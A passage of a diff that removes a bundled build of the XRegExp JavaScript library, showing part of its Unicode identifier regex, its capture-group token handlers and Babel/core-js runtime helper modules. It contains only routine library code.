AA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB69\uAB70-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDE80-\uDE9C\uDEA0-\uDED0\uDF00-\uDF1F\uDF2D-\uDF4A\uDF50-\uDF75\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDCB0-\uDCD3\uDCD8-\uDCFB\uDD00-\uDD27\uDD30-\uDD63\uDD70-\uDD7A\uDD7C-\uDD8A\uDD8C-\uDD92\uDD94\uDD95\uDD97-\uDDA1\uDDA3-\uDDB1\uDDB3-\uDDB9\uDDBB\uDDBC\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67\uDF80-\uDF85\uDF87-\uDFB0\uDFB2-\uDFBA]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00\uDE10-\uDE13\uDE15-\uDE17\uDE19-\uDE35\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE4\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2\uDD00-\uDD23\uDE80-\uDEA9\uDEB0\uDEB1\uDF00-\uDF1C\uDF27\uDF30-\uDF45\uDF70-\uDF81\uDFB0-\uDFC4\uDFE0-\uDFF6]|\uD804[\uDC03-\uDC37\uDC71\uDC72\uDC75\uDC83-\uDCAF\uDCD0-\uDCE8\uDD03-\uDD26\uDD44\uDD47\uDD50-\uDD72\uDD76\uDD83-\uDDB2\uDDC1-\uDDC4\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE2B\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEDE\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3D\uDF50\uDF5D-\uDF61]|\uD805[\uDC00-\uDC34\uDC47-\uDC4A\uDC5F-\uDC61\uDC80-\uDCAF\uDCC4\uDCC5\uDCC7\uDD80-\uDDAE\uDDD8-\uDDDB\uDE00-\uDE2F\uDE44\uDE80-\uDEAA\uDEB8\uDF00-\uDF1A\uDF40-\uDF46]|\uD806[\uDC00-\uDC2B\uDCA0-\uDCDF\uDCFF-\uDD06\uDD09\uDD0C-\uDD13\uDD15\uDD16\uDD18-\uDD2F\uDD3F\uDD41\uDDA0-\uDDA7\uDDAA-\uDDD0\uDDE1\uDDE3\uDE00\uDE0B-\uDE32\uDE3A\uDE50\uDE5C-\uDE89\uDE9D\uDEB0-\uDEF8]|\uD807[\uDC00-\uDC08\uDC0A-\uDC2E\uDC40\uDC72-\uDC8F\uDD00-\uDD06\uDD08\uDD09\uDD0B-\uDD30\uDD46\uDD60-\uDD65\uDD67\uDD68\uDD6A-\uDD89\uDD98\uDEE0-\uDEF2\uDFB0]|\uD808[\uDC00-\uDF99]|\uD809[\uDC00-\uDC6E\uDC80-\uDD43]|\uD80B[\uDF90-\uDFF0]|[\uD80C\uD81C-\uD820\uD822\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872\uD874-\uD879\uD880-\uD883][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDE70-\uDEBE\uDED0-\uDEED\uDF00-\uDF2F\uDF40-\uDF43\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDE40-\uDE7F\uDF00-\uDF4A\uDF50\uDF93-\uDF9F\uDFE0\uDFE1\uDFE3]|\uD821[\uDC00-\uDFF7]|\uD823[\uDC00-\uDCD5\uDD00-\uDD08]|\uD82B[\uDFF0-\uDFF3\uDFF5-\uDFFB\uDFFD\uDFFE]|\uD82C[\uDC00-\uDD22\uDD50-\uDD52\uDD64-\uDD67\uDD70-\uDEFB]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB]|\uD837[\uDF00-\uDF1E]|\uD838[\uDD00-\uDD2C\uDD37-\uDD3D\uDD4E\uDE90-\uDEAD\uDEC0-\uDEEB]|\uD839[\uDFE0-\uDFE6\uDFE8-\uDFEB\uDFED\uDFEE\uDFF0-\uDFFE]|\uD83A[\uDC00-\uDCC4\uDD00-\uDD43\uDD4B]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDEDF\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF38\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1\uDEB0-\uDFFF]|\uD87A[\uDC00-\uDFE0]|\uD87E[\uDC00-\uDE1D]|\uD884[\uDC00-\uDF4A])(?:[\$0-9A-Z_a-z\xAA\xB5\xB7\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0300-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u0483-\u0487\u048A-\u052F\u0531-\u0556\u0559\u0560-\u0588\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u05D0-\u05EA\u05EF-\u05F2\u0610-\u061A\u0620-\u0669\u066E-\u06D3\u06D5-\u06DC\u06DF-\u06E8\u06EA-\u06FC\u06FF\u0710-\u074A\u074D-\u07B1\u07C0-\u07F5\u07FA\u07FD\u0800-\u082D\u0840-\u085B\u0860-\u086A\u0870-\u0887\u0889-\u088E\u0898-\u08E1\u08E3-\u0963\u0966-\u096F\u0971-\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8\u09CB-\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E3\u09E6-\u09F1\u09FC\u09FE\u0A01-\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A59-\u0A5C\u0A5E\u0A66-\u0A75\u0A81-\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AD0\u0AE0-\u0AE3\u0AE6-\u0AEF\u0AF9-\u0AFF\u0B01-\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B55-\u0B57\u0B5C\u0B5D\u0B5F-\u0B63\u0B66-\u0B6F\u0B71\u0B82\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD0\u0BD7\u0BE6-\u0BEF\u0C00-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3C-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C58-\u0C5A\u0C5D\u0C60-\u0C63\u0C66-\u0C6F\u0C80-\u0C83\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBC-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CDD\u0CDE\u0CE0-\u0CE3\u0CE6-\u0CEF\u0CF1\u0CF2\u0D00-\u0D0C\u0D0E-\u0D10\u0D12-\u0D44\u0D46-\u0D48\u0D4A-\u0D4E\u0D54-\u0D57\u0D5F-\u0D63\u0D66-\u0D6F\u0D7A-\u0D7F\u0D81-\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2\u0DF3\u0E01-\u0E3A\u0E40-\u0E4E\u0E50-\u0E59\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECD\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00\u0F18\u0F19\u0F20-\u0F29\u0F35\u0F37\u0F39\u0F3E-\u0F47\u0F49-\u0F6C\u0F71-\u0F84\u0F86-\u0F97\u0F99-\u0FBC\u0FC6\u1000-\u1049\u1050-\u109D\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u135D-\u135F\u1369-\u1371\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u1715\u171F-\u1734\u1740-\u1753\u1760-\u176C\u176E-\u1770\u1772\u1773\u1780-\u17D3\u17D7\u17DC\u17DD\u17E0-\u17E9\u180B-\u180D\u180F-\u1819\u1820-\u1878\u1880-\u18AA\u18B0-\u18F5\u1900-\u191E\u1920-\u192B\u1930-\u193B\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A1B\u1A20-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AA7\u1AB0-\u1ABD\u1ABF-\u1ACE\u1B00-\u1B4C\u1B50-\u1B59\u1B6B-\u1B73\u1B80-\u1BF3\u1C00-\u1C37\u1C40-\u1C49\u1C4D-\u1C7D\u1C80-\u1C88\u1C90-\u1CBA\u1CBD-\u1CBF\u1CD0-\u1CD2\u1CD4-\u1CFA\u1D00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200C\u200D\u203F\u2040\u2054\u2071\u207F\u2090-\u209C\u20D0-\u20DC\u20E1\u20E5-\u20F0\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2CE4\u2CEB-\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D7F-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2DE0-\u2DFF\u3005-\u3007\u3021-\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u3099-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u31A0-\u31BF\u31F0-\u31FF\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA62B\uA640-\uA66F\uA674-\uA67D\uA67F-\uA6F1\uA717-\uA71F\uA722-\uA788\uA78B-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA827\uA82C\uA840-\uA873\uA880-\uA8C5\uA8D0-\uA8D9\uA8E0-\uA8F7\uA8FB\uA8FD-\uA92D\uA930-\uA953\uA960-\uA97C\uA980-\uA9C0\uA9CF-\uA9D9\uA9E0-\uA9FE\uAA00-\uAA36\uAA40-\uAA4D\uAA50-\uAA59\uAA60-\uAA76\uAA7A-\uAAC2\uAADB-\uAADD\uAAE0-\uAAEF\uAAF2-\uAAF6\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB69\uAB70-\uABEA\uABEC\uABED\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE00-\uFE0F\uFE20-\uFE2F\uFE33\uFE34\uFE4D-\uFE4F\uFE70-\uFE74\uFE76-\uFEFC\uFF10-\uFF19\uFF21-\uFF3A\uFF3F\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDDFD\uDE80-\uDE9C\uDEA0-\uDED0\uDEE0\uDF00-\uDF1F\uDF2D-\uDF4A\uDF50-\uDF7A\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDCA0-\uDCA9\uDCB0-\uDCD3\uDCD8-\uDCFB\uDD00-\uDD27\uDD30-\uDD63\uDD70-\uDD7A\uDD7C-\uDD8A\uDD8C-\uDD92\uDD94\uDD95\uDD97-\uDDA1\uDDA3-\uDDB1\uDDB3-\uDDB9\uDDBB\uDDBC\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67\uDF80-\uDF85\uDF87-\uDFB0\uDFB2-\uDFBA]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00-\uDE03\uDE05\uDE06\uDE0C-\uDE13\uDE15-\uDE17\uDE19-\uDE35\uDE38-\uDE3A\uDE3F\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE6\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2\uDD00-\uDD27\uDD30-\uDD39\uDE80-\uDEA9\uDEAB\uDEAC\uDEB0\uDEB1\uDF00-\uDF1C\uDF27\uDF30-\uDF50\uDF70-\uDF85\uDFB0-\uDFC4\uDFE0-\uDFF6]|\uD804[\uDC00-\uDC46\uDC66-\uDC75\uDC7F-\uDCBA\uDCC2\uDCD0-\uDCE8\uDCF0-\uDCF9\uDD00-\uDD34\uDD36-\uDD3F\uDD44-\uDD47\uDD50-\uDD73\uDD76\uDD80-\uDDC4\uDDC9-\uDDCC\uDDCE-\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE37\uDE3E\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEEA\uDEF0-\uDEF9\uDF00-\uDF03\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3B-\uDF44\uDF47\uDF48\uDF4B-\uDF4D\uDF50\uDF57\uDF5D-\uDF63\uDF66-\uDF6C\uDF70-\uDF74]|\uD805[\uDC00-\uDC4A\uDC50-\uDC59\uDC5E-\uDC61\uDC80-\uDCC5\uDCC7\uDCD0-\uDCD9\uDD80-\uDDB5\uDDB8-\uDDC0\uDDD8-\uDDDD\uDE00-\uDE40\uDE44\uDE50-\uDE59\uDE80-\uDEB8\uDEC0-\uDEC9\uDF00-\uDF1A\uDF1D-\uDF2B\uDF30-\uDF39\uDF40-\uDF46]|\uD806[\uDC00-\uDC3A\uDCA0-\uDCE9\uDCFF-\uDD06\uDD09\uDD0C-\uDD13\uDD15\uDD16\uDD18-\uDD35\uDD37\uDD38\uDD3B-\uDD43\uDD50-\uDD59\uDDA0-\uDDA7\uDDAA-\uDDD7\uDDDA-\uDDE1\uDDE3\uDDE4\uDE00-\uDE3E\uDE47\uDE50-\uDE99\uDE9D\uDEB0-\uDEF8]|\uD807[\uDC00-\uDC08\uDC0A-\uDC36\uDC38-\uDC40\uDC50-\uDC59\uDC72-\uDC8F\uDC92-\uDCA7\uDCA9-\uDCB6\uDD00-\uDD06\uDD08\uDD09\uDD0B-\uDD36\uDD3A\uDD3C\uDD3D\uDD3F-\uDD47\uDD50-\uDD59\uDD60-\uDD65\uDD67\uDD68\uDD6A-\uDD8E\uDD90\uDD91\uDD93-\uDD98\uDDA0-\uDDA9\uDEE0-\uDEF6\uDFB0]|\uD808[\uDC00-\uDF99]|\uD809[\uDC00-\uDC6E\uDC80-\uDD43]|\uD80B[\uDF90-\uDFF0]|[\uD80C\uD81C-\uD820\uD822\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872\uD874-\uD879\uD880-\uD883][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDE60-\uDE69\uDE70-\uDEBE\uDEC0-\uDEC9\uDED0-\uDEED\uDEF0-\uDEF4\uDF00-\uDF36\uDF40-\uDF43\uDF50-\uDF59\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDE40-\uDE7F\uDF00-\uDF4A\uDF4F-\uDF87\uDF8F-\uDF9F\uDFE0\uDFE1\uDFE3\uDFE4\uDFF0\uDFF1]|\uD821[\uDC00-\uDFF7]|\uD823[\uDC00-\uDCD5\uDD00-\uDD08]|\uD82B[\uDFF0-\uDFF3\uDFF5-\uDFFB\uDFFD\uDFFE]|\uD82C[\uDC00-\uDD22\uDD50-\uDD52\uDD64-\uDD67\uDD70-\uDEFB]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99\uDC9D\uDC9E]|\uD833[\uDF00-\uDF2D\uDF30-\uDF46]|\uD834[\uDD65-\uDD69\uDD6D-\uDD72\uDD7B-\uDD82\uDD85-\uDD8B\uDDAA-\uDDAD\uDE42-\uDE44]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB\uDFCE-\uDFFF]|\uD836[\uDE00-\uDE36\uDE3B-\uDE6C\uDE75\uDE84\uDE9B-\uDE9F\uDEA1-\uDEAF]|\uD837[\uDF00-\uDF1E]|\uD838[\uDC00-\uDC06\uDC08-\uDC18\uDC1B-\uDC21\uDC23\uDC24\uDC26-\uDC2A\uDD00-\uDD2C\uDD30-\uDD3D\uDD40-\uDD49\uDD4E\uDE90-\uDEAE\uDEC0-\uDEF9]|\uD839[\uDFE0-\uDFE6\uDFE8-\uDFEB\uDFED\uDFEE\uDFF0-\uDFFE]|\uD83A[\uDC00-\uDCC4\uDCD0-\uDCD6\uDD00-\uDD4B\uDD50-\uDD59]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD83E[\uDFF0-\uDFF9]|\uD869[\uDC00-\uDEDF\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF38\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1\uDEB0-\uDFFF]|\uD87A[\uDC00-\uDFE0]|\uD87E[\uDC00-\uDE1D]|\uD884[\uDC00-\uDF4A]|\uDB40[\uDD00-\uDDEF])*)>/, function (match) { - var _context8; - - if (!XRegExp.isInstalled('namespacing') && (match[1] === 'length' || match[1] === '__proto__')) { - throw new SyntaxError("Cannot use reserved word as capture name ".concat(match[0])); - } - - if ((0, _indexOf["default"])(_context8 = this.captureNames).call(_context8, match[1]) !== -1) { - throw new SyntaxError("Cannot use same name for multiple groups ".concat(match[0])); - } - - this.captureNames.push(match[1]); - this.hasNamedCapture = true; - return '('; -}, { - leadChar: '(' -}); -/* - * Capturing group; match the opening parenthesis only. Required for support of named capturing - * groups. Also adds named capture only mode (flag n). - */ - -XRegExp.addToken(/\((?!\?)/, function (match, scope, flags) { - if ((0, _indexOf["default"])(flags).call(flags, 'n') !== -1) { - return '(?:'; - } - - this.captureNames.push(null); - return '('; -}, { - optionalFlags: 'n', - leadChar: '(' -}); -var _default = XRegExp; -exports["default"] = _default; -module.exports = exports.default; -},{"@babel/runtime-corejs3/core-js-stable/array/from":5,"@babel/runtime-corejs3/core-js-stable/array/is-array":6,"@babel/runtime-corejs3/core-js-stable/instance/concat":7,"@babel/runtime-corejs3/core-js-stable/instance/flags":8,"@babel/runtime-corejs3/core-js-stable/instance/for-each":9,"@babel/runtime-corejs3/core-js-stable/instance/index-of":10,"@babel/runtime-corejs3/core-js-stable/instance/slice":11,"@babel/runtime-corejs3/core-js-stable/instance/sort":12,"@babel/runtime-corejs3/core-js-stable/object/create":13,"@babel/runtime-corejs3/core-js-stable/object/define-property":14,"@babel/runtime-corejs3/core-js-stable/parse-int":15,"@babel/runtime-corejs3/core-js-stable/symbol":16,"@babel/runtime-corejs3/core-js/get-iterator-method":19,"@babel/runtime-corejs3/helpers/interopRequireDefault":24,"@babel/runtime-corejs3/helpers/slicedToArray":27}],5:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/array/from"); -},{"core-js-pure/stable/array/from":208}],6:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/array/is-array"); -},{"core-js-pure/stable/array/is-array":209}],7:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/instance/concat"); -},{"core-js-pure/stable/instance/concat":212}],8:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/instance/flags"); -},{"core-js-pure/stable/instance/flags":213}],9:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/instance/for-each"); -},{"core-js-pure/stable/instance/for-each":214}],10:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/instance/index-of"); -},{"core-js-pure/stable/instance/index-of":215}],11:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/instance/slice"); -},{"core-js-pure/stable/instance/slice":216}],12:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/instance/sort"); -},{"core-js-pure/stable/instance/sort":217}],13:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/object/create"); -},{"core-js-pure/stable/object/create":218}],14:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/object/define-property"); -},{"core-js-pure/stable/object/define-property":219}],15:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/parse-int"); -},{"core-js-pure/stable/parse-int":220}],16:[function(require,module,exports){ -module.exports = require("core-js-pure/stable/symbol"); -},{"core-js-pure/stable/symbol":221}],17:[function(require,module,exports){ -module.exports = require("core-js-pure/features/array/from"); -},{"core-js-pure/features/array/from":52}],18:[function(require,module,exports){ -module.exports = require("core-js-pure/features/array/is-array"); -},{"core-js-pure/features/array/is-array":53}],19:[function(require,module,exports){ -module.exports = require("core-js-pure/features/get-iterator-method"); -},{"core-js-pure/features/get-iterator-method":54}],20:[function(require,module,exports){ -module.exports = require("core-js-pure/features/instance/slice"); -},{"core-js-pure/features/instance/slice":55}],21:[function(require,module,exports){ -module.exports = require("core-js-pure/features/symbol"); -},{"core-js-pure/features/symbol":56}],22:[function(require,module,exports){ -function _arrayLikeToArray(arr, len) { - if (len == null || len > arr.length) len = arr.length; - - for (var i = 0, arr2 = new Array(len); i < len; i++) { - arr2[i] = arr[i]; - } - - return arr2; -} - -module.exports = _arrayLikeToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; -},{}],23:[function(require,module,exports){ -var _Array$isArray = require("@babel/runtime-corejs3/core-js/array/is-array"); - -function _arrayWithHoles(arr) { - if (_Array$isArray(arr)) return arr; -} - -module.exports = _arrayWithHoles, module.exports.__esModule = true, module.exports["default"] = module.exports; -},{"@babel/runtime-corejs3/core-js/array/is-array":18}],24:[function(require,module,exports){ -function _interopRequireDefault(obj) { - return obj && obj.__esModule ? obj : { - "default": obj - }; -} - -module.exports = _interopRequireDefault, module.exports.__esModule = true, module.exports["default"] = module.exports; -},{}],25:[function(require,module,exports){ -var _Symbol = require("@babel/runtime-corejs3/core-js/symbol"); - -var _getIteratorMethod = require("@babel/runtime-corejs3/core-js/get-iterator-method"); - -function _iterableToArrayLimit(arr, i) { - var _i = arr == null ? null : typeof _Symbol !== "undefined" && _getIteratorMethod(arr) || arr["@@iterator"]; - - if (_i == null) return; - var _arr = []; - var _n = true; - var _d = false; - - var _s, _e; - - try { - for (_i = _i.call(arr); !(_n = (_s = _i.next()).done); _n = true) { - _arr.push(_s.value); - - if (i && _arr.length === i) break; - } - } catch (err) { - _d = true; - _e = err; - } finally { - try { - if (!_n && _i["return"] != null) _i["return"](); - } finally { - if (_d) throw _e; - } - } - - return _arr; -} - -module.exports = _iterableToArrayLimit, module.exports.__esModule = true, module.exports["default"] = module.exports; -},{"@babel/runtime-corejs3/core-js/get-iterator-method":19,"@babel/runtime-corejs3/core-js/symbol":21}],26:[function(require,module,exports){ -function _nonIterableRest() { - throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); -} - -module.exports = 